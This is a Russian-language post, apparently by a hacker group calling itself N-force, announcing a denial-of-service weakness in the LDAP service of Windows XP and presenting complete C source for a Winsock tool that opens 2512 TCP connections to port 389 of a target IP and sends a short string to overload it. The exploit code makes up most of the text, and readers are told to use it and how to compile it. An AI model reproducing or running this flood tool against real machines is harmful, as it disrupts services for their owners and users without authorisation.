Нашей группой (N-force) была обнаружена
уязвимость в операционной системе Windows XP.
Новая атака не влечет за собой фатальных
последствий типа «зависания» или
перезагрузки, но способна вызвать
существенную загрузку процессора. На сей
раз объектом нападок стала реализация LDAP-протокола
в Windows XP. Идея чрезвычайно проста: в 389-й порт
посылается большое количество TCP/IP пакетов,
после чего данный сервис умирает.
Данный протокол по умолчанию установлен в
Windows XP и предыдущих версиях NT'ей. Поэтому
большинство компьютеров с данными
системами и активным протоколом уязвимы.
Ниже идёт простой эксплоит, реализация под
Windows.
//---------------------------
/*
* Windows XP LDAP DoS
*
* Run: ./d0s ip
*
* Lightweight Directory Access Protocol (LDAP)
* The primary access protocol for Active Directory.
* Denial of Service Exploit
*
* Author: sl0n
* Email: bigafroelephant@mail.ru
* team: N-force group
*
*/
#include <stdio.h>
#include <winsock.h>
int main(int argc, char *argv[])
{
sockaddr_in peer;
int port,i;
int num_socks=2512;
int sockfd[2512];
char *send_buffer="sl0n";
char *addr=argv[1];
WSADATA winSockData;
printf("::WinXP DoS by n-force groUp::\n");
if ( argc < 2 )
{
printf(" -- Usage: d0s [ip] \n");
return -1;
}
port=389;
/****** INIT **********/
WSACleanup();
WSAStartup(0x0101, &winSockData);
/********************/
peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(addr);
for(i=0; i<num_socks;i++)
{
if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("::Error creating socket::");
exit(1);
}
}
for(i=0; i<num_socks;i++)
{
if( connect(sockfd[i],(sockaddr*)&peer, sizeof(peer))==-1)
{
printf("::Failed t0 connect [maybe attack was g00d]::\n");
exit(1);
}
}
for(i=0; i<num_socks;i++)
{
if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
{
printf("::Error sending packet::");
exit(1);
}
}
for(i=0; i<num_socks;i++)
{
closesocket(sockfd[i]);
}
WSACleanup();
exit(0);
}
//---------------------------
В данном эксплоите в начале создаётся 2512
сокетов, потом они все соединяются с
жертвой, на порт 389. После этого в этот порт
посылаеся смертельный пакет по сути говоря
это слово "sl0n". Cо временем данный
эксплоит будет реализован и под GUI
интерфейс. А пока пользуйтесь этим если он
вас чем-то не устраивает напишите свой.
Для компиляции рекомендую использовать
Borland С++. На этом позвольте откланяться.